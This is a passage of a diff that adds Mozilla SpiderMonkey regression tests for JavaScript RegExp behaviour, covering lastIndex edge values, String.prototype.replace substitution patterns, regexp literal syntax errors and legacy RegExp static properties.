+ * At this point |lastIndex| is > string.length, so the match should be null -
+ */
+status = inSection(4);
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+/*
+ * Now try some edge-case values. Thanks to the work done in
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=124339, |lastIndex|
+ * is now stored as a double instead of a uint32_t (unsigned integer).
+ *
+ * Note 2^32 -1 is the upper bound for uint32's, but doubles can go
+ * all the way up to Number.MAX_VALUE. So that's why we need cases
+ * between those two numbers.
+ */
+status = inSection(6);
+pattern.lastIndex = Math.pow(2,32);
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(8);
+pattern.lastIndex = Math.pow(2,32) + 1;
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(10);
+pattern.lastIndex = Math.pow(2,32) * 2;
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(12);
+pattern.lastIndex = Math.pow(2,40);
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(14);
+pattern.lastIndex = Number.MAX_VALUE;
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+
+
+/******************************************************************************
+ *
+ * Case 2: repeat all the above cases WITHOUT the global flag set.
+ * According to EMCA. |lastIndex| should get set to 0 before the match.
+ *
+ * Therefore re.exec(str) should be unaffected; thus our expected values
+ * below are now DIFFERENT when |lastIndex| is < 0 or > str.length
+ *
+ *****************************************************************************/
+
+pattern = /abc/i;
+string = 'AbcaBcabC';
+
+status = inSection(16);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc');
+addThis();
+
+status = inSection(17);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc'); // NOT Array('aBc') as before -
+addThis();
+
+status = inSection(18);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc'); // NOT Array('abC') as before -
+addThis();
+
+/*
+ * At this point above, |lastIndex| WAS > string.length, but not here -
+ */
+status = inSection(19);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+/*
+ * Now let's set |lastIndex| to -1
+ */
+status = inSection(20);
+pattern.lastIndex = -1;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+/*
+ * Now try some edge-case values. Thanks to the work done in
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=124339, |lastIndex|
+ * is now stored as a double instead of a uint32_t (unsigned integer).
+ *
+ * Note 2^32 -1 is the upper bound for uint32's, but doubles can go
+ * all the way up to Number.MAX_VALUE. So that's why we need cases
+ * between those two numbers.
+ */
+status = inSection(21);
+pattern.lastIndex = Math.pow(2,32);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(22);
+pattern.lastIndex = -Math.pow(2,32);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(23);
+pattern.lastIndex = Math.pow(2,32) + 1;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(24);
+pattern.lastIndex = -(Math.pow(2,32) + 1);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(25);
+pattern.lastIndex = Math.pow(2,32) * 2;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(26);
+pattern.lastIndex = -Math.pow(2,32) * 2;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(27);
+pattern.lastIndex = Math.pow(2,40);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -;
+ addThis();
+
+status = inSection(28);
+pattern.lastIndex = -Math.pow(2,40);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(29);
+pattern.lastIndex = Number.MAX_VALUE;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(30);
+pattern.lastIndex = -Number.MAX_VALUE;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/15.10.7.5-01.js b/js/src/tests/non262/RegExp/15.10.7.5-01.js
new file mode 100644
index 0000000000..ab9d071a7e
--- /dev/null
+++ b/js/src/tests/non262/RegExp/15.10.7.5-01.js
@@ -0,0 +1,71 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 465199;
+var summary = "RegExp lastIndex property set should not coerce type to number";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called = false;
+var o = { valueOf: function() { called = true; return 1; } };
+var r = /a/g;
+var desc, m;
+
+assertEq(r.lastIndex, 0);
+
+desc = Object.getOwnPropertyDescriptor(r, "lastIndex");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 0);
+assertEq(desc.writable, true);
+
+r.lastIndex = o;
+
+assertEq(r.lastIndex, o);
+
+desc = Object.getOwnPropertyDescriptor(r, "lastIndex");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.value, o);
+assertEq(desc.writable, true);
+
+assertEq(called, false);
+assertEq(r.exec("aaaa").length, 1);
+assertEq(called, true);
+assertEq(r.lastIndex, 2);
+
+desc = Object.getOwnPropertyDescriptor(r, "lastIndex");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 2);
+assertEq(desc.writable, true);
+
+
+r.lastIndex = -0.2;
+assertEq(r.lastIndex, -0.2);
+
+m = r.exec("aaaa");
+assertEq(Array.isArray(m), true);
+assertEq(m.length, 1);
+assertEq(m[0], "a");
+assertEq(r.lastIndex, 1);
+
+m = r.exec("aaaa");
+assertEq(Array.isArray(m), true);
+assertEq(m.length, 1);
+assertEq(m[0], "a");
+assertEq(r.lastIndex, 2);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/15.5.4.11.js b/js/src/tests/non262/RegExp/15.5.4.11.js
new file mode 100644
index 0000000000..a5515286a0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/15.5.4.11.js
@@ -0,0 +1,498 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 392378;
+var summary = '15.5.4.11 - String.prototype.replace';
+var rex, f, a, i;
+
+reportCompare(
+ 2,
+ String.prototype.replace.length,
+ "Section 1"
+);
+
+reportCompare(
+ "321",
+ String.prototype.replace.call(123, "123", "321"),
+ "Section 2"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(),
+ "Section 3"
+);
+
+reportCompare(
+ "undefined**",
+ "***".replace("*"),
+ "Section 4"
+);
+
+reportCompare(
+ "xnullz",
+ "xyz".replace("y", null),
+ "Section 5"
+);
+
+reportCompare(
+ "x123",
+ "xyz".replace("yz", 123),
+ "Section 6"
+);
+
+reportCompare(
+ "/x/g/x/g/x/g",
+ "xxx".replace(/x/g, /x/g),
+ "Section 7"
+);
+
+reportCompare(
+ "ok",
+ "undefined".replace(undefined, "ok"),
+ "Section 8"
+);
+
+reportCompare(
+ "ok",
+ "null".replace(null, "ok"),
+ "Section 9"
+);
+
+reportCompare(
+ "ok",
+ "123".replace(123, "ok"),
+ "Section 10"
+);
+
+reportCompare(
+ "xzyxyz",
+ "xyzxyz".replace("yz", "zy"),
+ "Section 11"
+);
+
+reportCompare(
+ "ok",
+ "(xyz)".replace("(xyz)", "ok"),
+ "Section 12"
+);
+
+reportCompare(
+ "*$&yzxyz",
+ "xyzxyz".replace("x", "*$$&"),
+ "Section 13"
+);
+
+reportCompare(
+ "xy*z*",
+ "xyz".replace("z", "*$&*"),
+ "Section 14"
+);
+
+reportCompare(
+ "xyxyzxyz",
+ "xyzxyzxyz".replace("zxy", "$`"),
+ "Section 15"
+);
+
+reportCompare(
+ "zxyzxyzzxyz",
+ "xyzxyz".replace("xy", "$'xyz"),
+ "Section 16"
+);
+
+reportCompare(
+ "$",
+ "xyzxyz".replace("xyzxyz", "$"),
+ "Section 17"
+);
+
+reportCompare(
+ "x$0$00xyz",
+ "xyzxyz".replace("yz", "$0$00"),
+ "Section 18"
+);
+
+// Result for $1/$01 .. $99 is implementation-defined if searchValue is no
+// regular expression. $+ is a non-standard Mozilla extension.
+
+reportCompare(
+ "$!$\"$-1$*$#$.$xyz$$",
+ "xyzxyz$$".replace("xyz", "$!$\"$-1$*$#$.$"),
+ "Section 19"
+);
+
+reportCompare(
+ "$$$&$$$&$&",
+ "$$$&".replace("$$", "$$$$$$&$&$$&"),
+ "Section 20"
+);
+
+reportCompare(
+ "yxx",
+ "xxx".replace(/x/, "y"),
+ "Section 21"
+);
+
+reportCompare(
+ "yyy",
+ "xxx".replace(/x/g, "y"),
+ "Section 22"
+);
+
+rex = /x/, rex.lastIndex = 1;
+reportCompare(
+ "yxx1",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 23"
+);
+
+rex = /x/g, rex.lastIndex = 1;
+reportCompare(
+ "yyy0",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 24"
+);
+
+rex = /y/, rex.lastIndex = 1;
+reportCompare(
+ "xxx1",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 25"
+);
+
+rex = /y/g, rex.lastIndex = 1;
+reportCompare(
+ "xxx0",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 26"
+);
+
+rex = /x?/, rex.lastIndex = 1;
+reportCompare(
+ "(x)xx1",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 27"
+);
+
+rex = /x?/g, rex.lastIndex = 1;
+reportCompare(
+ "(x)(x)(x)()0",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 28"
+);
+
+rex = /y?/, rex.lastIndex = 1;
+reportCompare(
+ "()xxx1",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 29"
+);
+
+rex = /y?/g, rex.lastIndex = 1;
+reportCompare(
+ "()x()x()x()0",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 30"
+);
+
+reportCompare(
+ "xy$0xy$zxy$zxyz$zxyz",
+ "xyzxyzxyz".replace(/zxy/, "$0$`$$$&$$$'$"),
+ "Section 31"
+);
+
+reportCompare(
+ "xy$0xy$zxy$zxyz$$0xyzxy$zxy$z$z",
+ "xyzxyzxyz".replace(/zxy/g, "$0$`$$$&$$$'$"),
+ "Section 32"
+);
+
+reportCompare(
+ "xyxyxyzxyxyxyz",
+ "xyzxyz".replace(/(((x)(y)()()))()()()(z)/g, "$01$2$3$04$5$6$7$8$09$10"),
+ "Section 33"
+);
+
+rex = RegExp(
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()(y)");
+reportCompare(
+ "x(y)z",
+ "xyz".replace(rex, "($99)"),
+ "Section 34"
+);
+
+rex = RegExp(
+ "()()()()()()()()()(x)" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()(y)");
+reportCompare(
+ "(x0)z",
+ "xyz".replace(rex, "($100)"),
+ "Section 35"
+);
+
+reportCompare(
+ "xyz(XYZ)",
+ "xyzXYZ".replace(/XYZ/g, "($&)"),
+ "Section 36"
+);
+
+reportCompare(
+ "(xyz)(XYZ)",
+ "xyzXYZ".replace(/xYz/gi, "($&)"),
+ "Section 37"
+);
+
+reportCompare(
+ "xyz\rxyz\n",
+ "xyz\rxyz\n".replace(/xyz$/g, "($&)"),
+ "Section 38"
+);
+
+reportCompare(
+ "(xyz)\r(xyz)\n",
+ "xyz\rxyz\n".replace(/xyz$/gm, "($&)"),
+ "Section 39"
+);
+
+f = function () { return "failure" };
+
+reportCompare(
+ "ok",
+ "ok".replace("x", f),
+ "Section 40"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(/(?=k)ok/, f),
+ "Section 41"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(/(?!)ok/, f),
+ "Section 42"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(/ok(?!$)/, f),
+ "Section 43"
+);
+
+f = function (sub, offs, str) {
+ return ["", sub, typeof sub, offs, typeof offs, str, typeof str, ""]
+ .join("|");
+};
+
+reportCompare(
+ "x|y|string|1|number|xyz|string|z",
+ "xyz".replace("y", f),
+ "Section 44"
+);
+
+reportCompare(
+ "x|(y)|string|1|number|x(y)z|string|z",
+ "x(y)z".replace("(y)", f),
+ "Section 45"
+);
+
+reportCompare(
+ "x|y*|string|1|number|xy*z|string|z",
+ "xy*z".replace("y*", f),
+ "Section 46"
+);
+
+reportCompare(
+ "12|3|string|2|number|12345|string|45",
+ String.prototype.replace.call(1.2345e4, 3, f),
+ "Section 47"
+);
+
+reportCompare(
+ "|x|string|0|number|xxx|string|xx",
+ "xxx".replace(/^x/g, f),
+ "Section 48"
+);
+
+reportCompare(
+ "xx|x|string|2|number|xxx|string|",
+ "xxx".replace(/x$/g, f),
+ "Section 49"
+);
+
+f = function (sub, paren, offs, str) {
+ return ["", sub, typeof sub, paren, typeof paren, offs, typeof offs,
+ str, typeof str, ""].join("|");
+};
+
+reportCompare(
+ "xy|z|string|z|string|2|number|xyz|string|",
+ "xyz".replace(/(z)/g, f),
+ "Section 50"
+);
+
+reportCompare(
+ "xyz||string||string|3|number|xyz|string|",
+ "xyz".replace(/($)/g, f),
+ "Section 51"
+);
+
+reportCompare(
+ "|xy|string|y|string|0|number|xyz|string|z",
+ "xyz".replace(/(?:x)(y)/g, f),
+ "Section 52"
+);
+
+reportCompare(
+ "|x|string|x|string|0|number|xyz|string|yz",
+ "xyz".replace(/((?=xy)x)/g, f),
+ "Section 53"
+);
+
+reportCompare(
+ "|x|string|x|string|0|number|xyz|string|yz",
+ "xyz".replace(/(x(?=y))/g, f),
+ "Section 54"
+);
+
+reportCompare(
+ "x|y|string|y|string|1|number|xyz|string|z",
+ "xyz".replace(/((?!x)y)/g, f),
+ "Section 55"
+);
+
+reportCompare(
+ "|x|string|x|string|0|number|xyz|string|" +
+ "|y|string||undefined|1|number|xyz|string|z",
+ "xyz".replace(/y|(x)/g, f),
+ "Section 56"
+);
+
+reportCompare(
+ "xy|z|string||string|2|number|xyz|string|",
+ "xyz".replace(/(z?)z/, f),
+ "Section 57"
+);
+
+reportCompare(
+ "xy|z|string||undefined|2|number|xyz|string|",
+ "xyz".replace(/(z)?z/, f),
+ "Section 58"
+);
+
+reportCompare(
+ "xy|z|string||undefined|2|number|xyz|string|",
+ "xyz".replace(/(z)?\1z/, f),
+ "Section 59"
+);
+
+reportCompare(
+ "xy|z|string||undefined|2|number|xyz|string|",
+ "xyz".replace(/\1(z)?z/, f),
+ "Section 60"
+);
+
+reportCompare(
+ "xy|z|string||string|2|number|xyz|string|",
+ "xyz".replace(/(z?\1)z/, f),
+ "Section 61"
+);
+
+f = function (sub, paren1, paren2, offs, str) {
+ return ["", sub, typeof sub, paren1, typeof paren1, paren2, typeof paren2,
+ offs, typeof offs, str, typeof str, ""].join("|");
+};
+
+reportCompare(
+ "x|y|string|y|string||undefined|1|number|xyz|string|z",
+ "xyz".replace(/(y)(\1)?/, f),
+ "Section 62"
+);
+
+reportCompare(
+ "x|yy|string|y|string|y|string|1|number|xyyz|string|z",
+ "xyyz".replace(/(y)(\1)?/g, f),
+ "Section 63"
+);
+
+reportCompare(
+ "x|y|string|y|string||undefined|1|number|xyyz|string|" +
+ "|y|string|y|string||undefined|2|number|xyyz|string|z",
+ "xyyz".replace(/(y)(\1)??/g, f),
+ "Section 64"
+);
+
+reportCompare(
+ "x|y|string|y|string|y|string|1|number|xyz|string|z",
+ "xyz".replace(/(?=(y))(\1)?/, f),
+ "Section 65"
+);
+
+reportCompare(
+ "xyy|z|string||undefined||string|3|number|xyyz|string|",
+ "xyyz".replace(/(?!(y)y)(\1)z/, f),
+ "Section 66"
+);
+
+rex = RegExp(
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()(z)?(y)");
+a = ["sub"];
+for (i = 1; i <= 102; ++i)
+ a[i] = "p" + i;
+a[103] = "offs";
+a[104] = "str";
+a[105] = "return ['', sub, typeof sub, offs, typeof offs, str, typeof str, " +
+ "p100, typeof p100, p101, typeof p101, p102, typeof p102, ''].join('|');";
+f = Function.apply(null, a);
+reportCompare(
+ "x|y|string|1|number|xyz|string||string||undefined|y|string|z",
+ "xyz".replace(rex, f),
+ "Section 67"
+);
+
+reportCompare(
+ "undefined",
+ "".replace(/.*/g, function () {}),
+ "Section 68"
+);
+
+reportCompare(
+ "nullxnullynullznull",
+ "xyz".replace(/.??/g, function () { return null; }),
+ "Section 69"
+);
+
+reportCompare(
+ "111",
+ "xyz".replace(/./g, function () { return 1; }),
+ "Section 70"
+);
diff --git a/js/src/tests/non262/RegExp/7.8.5-01.js b/js/src/tests/non262/RegExp/7.8.5-01.js
new file mode 100644
index 0000000000..be09bbc142
--- /dev/null
+++ b/js/src/tests/non262/RegExp/7.8.5-01.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 615070;
+var summary = "Line terminator after backslash is invalid in regexp literals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var regexps = ["/\\\u000A/", "/\\\u000D/", "/\\\u2028/", "/\\\u2029/",
+ "/ab\\\n/", "/ab\\\r/", "/ab\\\u2028/", "/ab\\\u2029/",
+ "/ab[c\\\n]/", "/a[bc\\", "/\\"];
+
+for(var i=0; i<regexps.length; i++) {
+ var src = regexps[i];
+ try {
+ x = eval(src).source;
+ } catch(e) {
+ assertEq(e.constructor, SyntaxError);
+ continue;
+ }
+ assertEq(0, 1);
+}
+
+/**************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/RegExpExec-exec-type-check.js b/js/src/tests/non262/RegExp/RegExpExec-exec-type-check.js
new file mode 100644
index 0000000000..6d0eba40ec
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExpExec-exec-type-check.js
@@ -0,0 +1,12 @@
+// Bug 1667094.
+
+var obj = {
+ exec() {
+ return function(){};
+ }
+};
+
+assertEq(RegExp.prototype.test.call(obj, ""), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/RegExpExec-exec.js b/js/src/tests/non262/RegExp/RegExpExec-exec.js
new file mode 100644
index 0000000000..e92792fcf4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExpExec-exec.js
@@ -0,0 +1,18 @@
+var BUGNUMBER = 887016;
+var summary = "RegExpExec should throw if exec property of non-RegExp is not callable";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var exec of [null, 0, false, undefined, ""]) {
+ // RegExp with non-callable exec
+ var re = /a/;
+ re.exec = exec;
+ RegExp.prototype[Symbol.match].call(re, "foo");
+
+ // non-RegExp with non-callable exec
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.match].call({ exec }, "foo"),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/RegExpExec-return.js b/js/src/tests/non262/RegExp/RegExpExec-return.js
new file mode 100644
index 0000000000..1148aac07f
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExpExec-return.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 887016;
+var summary = "RegExpExec should throw if returned value is not an object nor null.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var ret of [null, {}, [], /a/]) {
+ assertEq(RegExp.prototype[Symbol.match].call({
+ get global() {
+ return false;
+ },
+ exec(S) {
+ return ret;
+ }
+ }, "foo"), ret);
+}
+
+for (ret of [undefined, 1, true, false, Symbol.iterator]) {
+ assertThrowsInstanceOf(() => {
+ RegExp.prototype[Symbol.match].call({
+ get global() {
+ return false;
+ },
+ exec(S) {
+ return ret;
+ }
+ }, "foo");
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/RegExp_dollar_number.js b/js/src/tests/non262/RegExp/RegExp_dollar_number.js
new file mode 100644
index 0000000000..52680a1870
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_dollar_number.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_dollar_number.js
+ Description: 'Tests RegExps $1, ..., $9 properties'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "What\'s new in JavaScript 1.2"';
+var TITLE = 'RegExp: $1, ..., $9';
+var BUGNUMBER="123802";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog('Executing script: RegExp_dollar_number.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$1
+'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/);
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$1",
+ 'abcdefghi', RegExp.$1);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$2
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$2",
+ 'bcdefgh', RegExp.$2);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$3
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$3",
+ 'cdefg', RegExp.$3);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$4
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$4",
+ 'def', RegExp.$4);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$5
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$5",
+ 'e', RegExp.$5);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$6
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$6",
+ '', RegExp.$6);
+
+var a_to_z = 'abcdefghijklmnopqrstuvwxyz';
+var regexp1 = /(a)b(c)d(e)f(g)h(i)j(k)l(m)n(o)p(q)r(s)t(u)v(w)x(y)z/
+ // 'abcdefghijklmnopqrstuvwxyz'.match(/(a)b(c)d(e)f(g)h(i)j(k)l(m)n(o)p(q)r(s)t(u)v(w)x(y)z/); RegExp.$1
+ a_to_z.match(regexp1);
+
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$1",
+ 'a', RegExp.$1);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$2",
+ 'c', RegExp.$2);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$3",
+ 'e', RegExp.$3);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$4",
+ 'g', RegExp.$4);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$5",
+ 'i', RegExp.$5);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$6",
+ 'k', RegExp.$6);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$7",
+ 'm', RegExp.$7);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$8",
+ 'o', RegExp.$8);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$9",
+ 'q', RegExp.$9);
+/*
+ new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$10",
+ 's', RegExp.$10);
+*/
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_lastMatch.js b/js/src/tests/non262/RegExp/RegExp_lastMatch.js
new file mode 100644
index 0000000000..b3a02bd4d4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_lastMatch.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastMatch.js
+ Description: 'Tests RegExps lastMatch property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: lastMatch';
+
+writeHeaderToLog('Executing script: RegExp_lastMatch.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'foo'.match(/foo/); RegExp.lastMatch
+'foo'.match(/foo/);
+new TestCase ( "'foo'.match(/foo/); RegExp.lastMatch",
+ 'foo', RegExp.lastMatch);
+
+// 'foo'.match(new RegExp('foo')); RegExp.lastMatch
+'foo'.match(new RegExp('foo'));
+new TestCase ( "'foo'.match(new RegExp('foo')); RegExp.lastMatch",
+ 'foo', RegExp.lastMatch);
+
+// 'xxx'.match(/bar/); RegExp.lastMatch
+'xxx'.match(/bar/);
+new TestCase ( "'xxx'.match(/bar/); RegExp.lastMatch",
+ 'foo', RegExp.lastMatch);
+
+// 'xxx'.match(/$/); RegExp.lastMatch
+'xxx'.match(/$/);
+new TestCase ( "'xxx'.match(/$/); RegExp.lastMatch",
+ '', RegExp.lastMatch);
+
+// 'abcdefg'.match(/^..(cd)[a-z]+/); RegExp.lastMatch
+'abcdefg'.match(/^..(cd)[a-z]+/);
+new TestCase ( "'abcdefg'.match(/^..(cd)[a-z]+/); RegExp.lastMatch",
+ 'abcdefg', RegExp.lastMatch);
+
+// 'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/); RegExp.lastMatch
+'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/);
+new TestCase ( "'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\\1/); RegExp.lastMatch",
+ 'abcdefgabcdefg', RegExp.lastMatch);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_lastMatch_as_array.js b/js/src/tests/non262/RegExp/RegExp_lastMatch_as_array.js
new file mode 100644
index 0000000000..7356bd0464
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_lastMatch_as_array.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastMatch_as_array.js
+ Description: 'Tests RegExps $& property (same tests as RegExp_lastMatch.js but using $&)'
+
+ Author: Nick Lerissa
+ Date: March 13, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: $&';
+
+writeHeaderToLog('Executing script: RegExp_lastMatch_as_array.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'foo'.match(/foo/); RegExp['$&']
+'foo'.match(/foo/);
+new TestCase ( "'foo'.match(/foo/); RegExp['$&']",
+ 'foo', RegExp['$&']);
+
+// 'foo'.match(new RegExp('foo')); RegExp['$&']
+'foo'.match(new RegExp('foo'));
+new TestCase ( "'foo'.match(new RegExp('foo')); RegExp['$&']",
+ 'foo', RegExp['$&']);
+
+// 'xxx'.match(/bar/); RegExp['$&']
+'xxx'.match(/bar/);
+new TestCase ( "'xxx'.match(/bar/); RegExp['$&']",
+ 'foo', RegExp['$&']);
+
